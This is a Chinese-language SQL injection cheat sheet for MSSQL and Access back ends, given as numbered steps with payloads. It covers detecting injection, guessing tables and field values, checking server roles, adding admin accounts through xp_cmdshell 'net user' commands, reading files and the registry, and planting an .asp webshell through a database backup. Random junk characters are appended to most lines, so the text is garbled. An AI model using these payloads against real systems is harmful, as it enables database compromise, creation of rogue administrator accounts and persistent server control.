1.判断是否有注入;and 1=1 ;and 1=2 ?W{+[OXs
2.初步判断是否是mssql ;and user>0 vII{i
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3.注入参数是字符'and [查询条件] and ''=' aWIkp5BFj
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Tj#S')s8
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5.判断数据库系统 ?E"192,z@
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;and (select count(*) from sysobjects)>0 mssql 7h}gIm7e"
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;and (select count(*) from msysobjects)>0 access XnZ$%?$
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 1`K-f
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 'z;(Y*jb
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 qU!dg
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9.(1)猜字段的ascii值(access) %xlpOR4
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 *'-4%7C`1
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(2)猜字段的ascii值(mssql) EwzR4,r\M
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 E2'Wzrovlo
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10.测试权限结构(mssql) PaI\y!f
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- .D
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- <R]m(
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ojy^A
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- >J7slDRo
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- lV$JCNe
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- B-MS@<2
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;and 1=(select IS_MEMBER('db_owner'));-- .t_t)'L
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11.添加mssql和系统的帐户 T)\}V#iA*
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;exec master.dbo.sp_addlogin username;-- F0<)8{s
;exec master.dbo.sp_password null,username,password;-- ?}KRAtJ8
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- e_=K0fFz
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;exec master.dbo.xp_cmdshell 'net user username password kkq1:\pZ]a
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- =\O#F88ui
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- #%"G[B
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- iwK.*07+
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12.(1)遍历目录 7[1Lh'u
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;create table dirs(paths varchar(100), id int) |8k1Bap`z
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 0SI@`C*1o
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;and (select top 1 paths from dirs)>0 L
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) JY"jj}H]|
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(2)遍历目录 g$K\rA
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- i(j/C
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9^}&PEl
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 f7x2"&?vg
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 B]X8KzLu
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 %+~\I\)1
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13.mssql中的存储过程 [J,.?'V
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xp_regenumvalues 注册表根键, 子键 ?@'&<o0p#
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 [~9UsHfH
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xp_regread 根键,子键,键值名 >jI.$%L$
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;exec xp_regread Wlc&QOfF
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 cXb*d|-|N
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xp_regwrite 根键,子键, 值名, 值类型, 值 w)EYj+L
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 fu5L)P^T
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 -ZaeX]^&Q\
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xp_regdeletevalue 根键,子键,值名 pl]|yIZ
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 {:1j>4m2
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 1wR[nBg*|
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14.mssql的backup创建webshell KwL_ae6fV
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use model "`% ,l|D
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create table cmd(str image); 3x[Cpg,
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insert into cmd(str) values (''); ;u<Ah?w=Z
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backup database model to disk='c:\l.asp'; 3]*Kz*i
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15.mssql内置函数 d>p' A_
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;and (select @@version)>0 获得Windows的版本号 r07u6OA
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ^^b'tP1>
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;and (select user_name())>0 爆当前系统的连接用户 PeJ#9hI~rQ
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;and (select db_name())>0 得到当前连接的数据库 ^%7(
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16.简洁的webshell gcA:Q4
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use model TE
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create table cmd(str image); =|?`5!A
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insert into cmd(str) values (''); qX@e+&4P0
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backup database model to disk='g:\wwwtest\l.asp';